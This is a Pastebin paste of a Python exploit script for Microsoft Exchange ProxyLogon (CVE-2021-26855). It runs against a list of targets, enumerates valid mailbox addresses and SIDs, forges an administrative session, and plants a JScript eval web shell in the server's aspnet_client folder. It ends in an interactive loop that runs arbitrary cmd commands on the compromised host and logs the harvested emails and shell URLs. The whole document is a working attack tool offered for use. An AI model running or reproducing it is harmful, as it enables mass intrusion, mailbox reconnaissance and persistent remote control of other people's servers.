Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Reference : https://github.com/Udyz/Proxylogon/ | https://github.com/0xmahmoudJo0/Check_Emails_For_CVE_2021_26855/
- # you need to download users list from this url : https://raw.githubusercontent.com/0xmahmoudJo0/Check_Emails_For_CVE_2021_26855/main/users.txt
- import requests
- from urllib3.exceptions import InsecureRequestWarning
- import random
- import string
- import sys
- import os
- import time
- import webbrowser
- import re
- from requests.packages.urllib3.exceptions import InsecureRequestWarning
- requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
- import tldextract
- def rmsub(text):
- return tldextract.extract(text).registered_domain
- def exploit(url):
- try:
- print('[*] Target: %s'%url)
- server = 'https://'+ url + '/owa/auth.owa'
- s = requests.Session()
- req = s.post(server, verify=False,timeout=15)
- if not req.status_code == 400:
- print('[-] Cant get FQDN!')
- exit(0)
- server_name = req.headers["X-FEServer"]
- print('(*) Getting FQDN Name: %s'%(server_name))
- path_maybe_vuln = '/ecp/ssrf.js'
- headers = {
- 'User-Agent': 'Hello-World',
- 'Cookie': 'X-BEResource={FQDN}/EWS/Exchange.asmx?a=~1942062522;'.format(FQDN=server_name),
- 'Connection': 'close',
- 'Content-Type': 'text/xml',
- 'Accept-Encoding': 'gzip'
- }
- payload = """<?xml version="1.0" encoding="utf-8"?>
- <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
- xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
- xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
- <soap:Body>
- <m:GetFolder>
- <m:FolderShape>
- <t:BaseShape>Default</t:BaseShape>
- </m:FolderShape>
- <m:FolderIds>
- <t:DistinguishedFolderId Id="inbox">
- <t:Mailbox>
- <t:EmailAddress>admin@domain.tld</t:EmailAddress>
- </t:Mailbox>
- </t:DistinguishedFolderId>
- </m:FolderIds>
- </m:GetFolder>
- </soap:Body>
- </soap:Envelope>
- """
- reqs = s.post('%s/%s' %('https://'+ url,path_maybe_vuln),headers=headers,data=payload, verify=False,timeout=15)
- if reqs.status_code == 200:
- print('(+) Target is Vuln to SSRF [CVE-2021-26855]!')
- print('(*) Getting Information Server')
- print('(+) Computer Name = %s'%reqs.headers["X-DiagInfo"])
- print('(+) Domain Name = %s'%reqs.headers["X-CalculatedBETarget"].split(',')[1])
- print('(+) Guest SID = %s'%reqs.headers["Set-Cookie"].split('X-BackEndCookie=')[1].split(';')[0])
- print('(*) Find valid mail from users list')
- u_m = reqs.headers["X-CalculatedBETarget"].split(',')[1]
- f = open('users.txt').read().splitlines()
- print('+ %s' %reqs.headers["X-CalculatedBETarget"].split(',')[1])
- X = rmsub(reqs.headers["X-CalculatedBETarget"].split(',')[1])
- for u in f:
- domainstr = tldextract.extract(u_m)
- domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
- user = u
- if ('local' in u_m):
- domain = '%s.local'%reqs.headers["X-CalculatedBETarget"].split(',')[1].split('.')[1]
- elif X == '':
- domainstr = tldextract.extract(u_m)
- domain = "{}.{}".format(domainstr.domain, domainstr.suffix)
- else:
- domain = X
- mail = '{user}@{domain}'.format(user=user, domain=domain)
- mailnum = '''<?xml version="1.0" encoding="utf-8"?>
- <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
- xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
- xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
- <soap:Body>
- <m:GetFolder>
- <m:FolderShape>
- <t:BaseShape>Default</t:BaseShape>
- </m:FolderShape>
- <m:FolderIds>
- <t:DistinguishedFolderId Id="inbox">
- <t:Mailbox>
- <t:EmailAddress>{mail}</t:EmailAddress>
- </t:Mailbox>
- </t:DistinguishedFolderId>
- </m:FolderIds>
- </m:GetFolder>
- </soap:Body>
- </soap:Envelope>
- '''.format(mail=mail)
- mail_valid = ''
- reqx = s.post('%s/%s' %('https://'+ url,path_maybe_vuln),headers=headers,data=mailnum, verify=False)
- if '<m:ResponseCode>NoError</m:ResponseCode>' in reqx.text:
- xmlstr = """{data}""".format(data=reqx.text)
- total_count = re.findall('(?:<t:TotalCount>)(.+?)(?:</t:TotalCount>)', xmlstr)
- print('-'*35)
- print('(+) %s | Total Inbox = %s'%(mail,total_count[0]))
- mail_valid = mail
- open('validmail.txt', 'a').write(url+'|'+mail_valid+'\n')
- return mail_valid, True
- elif 'Access is denied. Check credentials and try again' in reqx.text:
- print('-'*35)
- print('(+) %s | Valid Mail!'%(mail))
- mail_valid = mail
- open('validmail.txt', 'a').write(url+'|'+mail_valid+'\n')
- return mail_valid, True
- else:
- print('(-) %s | Invalid mail'%(mail))
- headers_for_audio = {
- "User-Agent": "Hello-World",
- "Cookie": "X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;".format(FQDN=server_name),
- "Connection": "close",
- "Content-Type": "text/xml"
- }
- autodiscover_payload = '''
- <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
- <Request>
- <EMailAddress>{mail}</EMailAddress>
- <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
- </Request>
- </Autodiscover>
- '''.format(mail=mail_valid)
- r3q = s.post('%s/%s'%('https://'+ url,path_maybe_vuln), headers=headers_for_audio, data=autodiscover_payload, verify=False)
- if 'DisplayName' in r3q.text:
- txtstr = """%s"""%(r3q.text)
- display_name = re.findall('(?:<DisplayName>)(.+?)(?:</DisplayName>)', txtstr)
- legacyDN = re.findall('(?:<LegacyDN>)(.+?)(?:</LegacyDN>)', txtstr)
- server = r3q.text.split('<Server>')[1].split('</Server>')[0]
- groupname = re.findall('(?:<GroupingInformation>)(.+?)(?:</GroupingInformation>)', txtstr)
- mapi_body = legacyDN[0] + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
- mapireq = requests.post("https://"+"%s/%s" % (url,path_maybe_vuln), headers={
- "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=%s&a=~1942062522;" %(server_name, server),
- "Content-Type": "application/mapi-http",
- "X-Requesttype": "Connect",
- "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
- "X-Clientapplication": "Outlook/15.0.4815.1002",
- "X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:2",
- "User-Agent": "Hello-World"
- },
- data=mapi_body,
- verify=False
- )
- try:
- if mapireq.status_code != 200 or "act as owner of a UserMailbox" not in mapireq.text:
- print('(+) Display Name = %s' %display_name[0])
- print('(+) Group Name = %s'%groupname[0])
- print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
- print('-'*35)
- else:
- sid = mapireq.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
- print('(+) Display Name = %s' %display_name[0])
- print('(+) Group Name = %s'%groupname[0])
- print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
- print('(+) User SID = %s'%sid)
- print('-'*35)
- except IndexError:
- print('(+) Display Name = %s' %display_name[0])
- print('(+) Group Name = %s'%groupname[0])
- print('(+) Group Member = %s'%legacyDN[0].split('/ou=')[1].split('/cn=')[0])
- print('-'*35)
- else:
- print('(-) Target is not Vuln to SSRF [CVE-2021-26855]!')
- #except Exception as e:
- #print(e)
- #pass
- except(requests.ConnectionError, requests.ConnectTimeout, requests.ReadTimeout) as e:
- print(e)
- pass
- def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
- return ''.join(random.choice(chars) for _ in range(size))
- if len(sys.argv) < 2:
- print("Usage: python3 %s <target> <email>"%sys.argv[0])
- print("Example: python3 %s mail.evil.corp root@evil.corp"%sys.argv[0])
- exit()
- lists = open(sys.argv[1], 'r').read().splitlines()
- for targets in lists:
- requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
- target = targets
- try:
- outputs = exploit(target)
- if outputs[1] == True:
- email = outputs[0]
- open('validmail.txt', 'a').write(target+"|"+email+"\n")
- shell_name = "PG173729819CF.aspx"
- random_name = id_generator(3) + ".js"
- user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
- shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\aspnet_client\\%s" % shell_name
- shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
- shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
- autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
- <Request>
- <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
- </Request>
- </Autodiscover>
- """ % email
- print("Attacking target " + target + " with email :" + email)
- print("=============================")
- FQDN = "EXCHANGE"
- ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
- "User-Agent": user_agent},
- verify=False)
- if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
- FQDN = ct.headers["X-FEServer"]
- ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
- "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
- "Content-Type": "text/xml",
- "User-Agent": user_agent},
- data=autoDiscoverBody,
- verify=False
- )
- if "<LegacyDN>" not in ct.text and "<Server>" not in ct.text:
- print("Can not get LegacyDN!")
- pass
- legacyDn = ct.text.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
- mailboxid = ct.text.split('<Server>')[1].split('</Server>')[0]
- print("Got DN: " + legacyDn)
- legacyUTF8 = legacyDn.encode("utf-8")
- mapi_body = legacyUTF8 + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
- ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
- "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=%s&a=~1942062522;" % (FQDN, mailboxid),
- "Content-Type": "application/mapi-http",
- "X-Requesttype": "Connect",
- "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
- "X-Clientapplication": "Outlook/15.0.4815.1002",
- "X-Requestid": "{C715155F-2BE8-44E0-BD34-2960067874C8}:500",
- "User-Agent": user_agent
- },
- data=mapi_body,
- verify=False
- )
- if "and MasterAccountSid" not in ct.text or "act as owner of a UserMailbox" not in ct.text:
- print("Mapi Error!")
- pass
- sid = ct.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
- print("Got SID: " + sid)
- proxyLogon_request = '<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>' % sid
- ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
- "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
- "Content-Type": "text/xml",
- "User-Agent": user_agent
- },
- data=proxyLogon_request,
- verify=False
- )
- if "set-cookie" not in ct.headers:
- print("Proxylogon Error!")
- pass
- sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]
- msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
- print("Got session id: " + sess_id)
- print("Got canary: " + msExchEcpCanary)
- ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
- "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
- FQDN, sess_id, msExchEcpCanary),
- "User-Agent": user_agent
- },
- verify=False
- )
- if ct.status_code != 200:
- print("Wrong canary!")
- print("Sometime we can skip this ...")
- rbacRole = ct.text.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
- print("=========== It means good to go!!!====")
- ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
- "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
- FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
- "Content-Type": "application/json; charset=utf-8",
- "User-Agent": user_agent
- },
- json={"filter": {
- "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
- "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
- verify=False
- )
- if ct.status_code != 200:
- print("GetOAB Error!")
- oabId = ct.text.split('"RawIdentity":"')[1].split('"')[0]
- print("Got OAB id: " + oabId)
- oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
- "properties": {
- "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
- "ExternalUrl": "http://ffff/#%s" % shell_content}}}
- ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
- "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
- FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
- "Content-Type": "application/json; charset=utf-8",
- "User-Agent": user_agent
- },
- json=oab_json,
- verify=False
- )
- if ct.status_code != 200:
- print("Set external url Error!")
- pass
- reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
- "properties": {
- "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
- "FilePathName": shell_absolute_path}}}
- ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
- "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
- FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
- "Content-Type": "application/json; charset=utf-8",
- "User-Agent": user_agent
- },
- json=reset_oab_body,
- verify=False
- )
- if ct.status_code != 200:
- print("Write Shell Error!")
- pass
- print('(+) Webshell drop at https://%s/aspnet_client/%s .. Have fun!'%(target, shell_name))
- print('(+) Enjoy your shell: curl -ik https://%s/aspnet_client/%s -d \'exec_code=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())\''%(target, shell_name))
- open('shell_created.txt', 'a').write('https://'+target+'/aspnet_client/'+shell_name+'\n')
- time.sleep(2)
- while True:
- cmd = input('CMD: ')
- shell_body_exec = '''exec_code=Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())'''%cmd
- shell_req = requests.post('https://%s/aspnet_client/%s'%(target, shell_name),headers={'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': user_agent},data=shell_body_exec,verify=False)
- else:
- print('[-]'+target+' - Not Vulnerable')
- except Exception as e:
- print("Error: %s") % e
Add Comment
Please, Sign In to add comment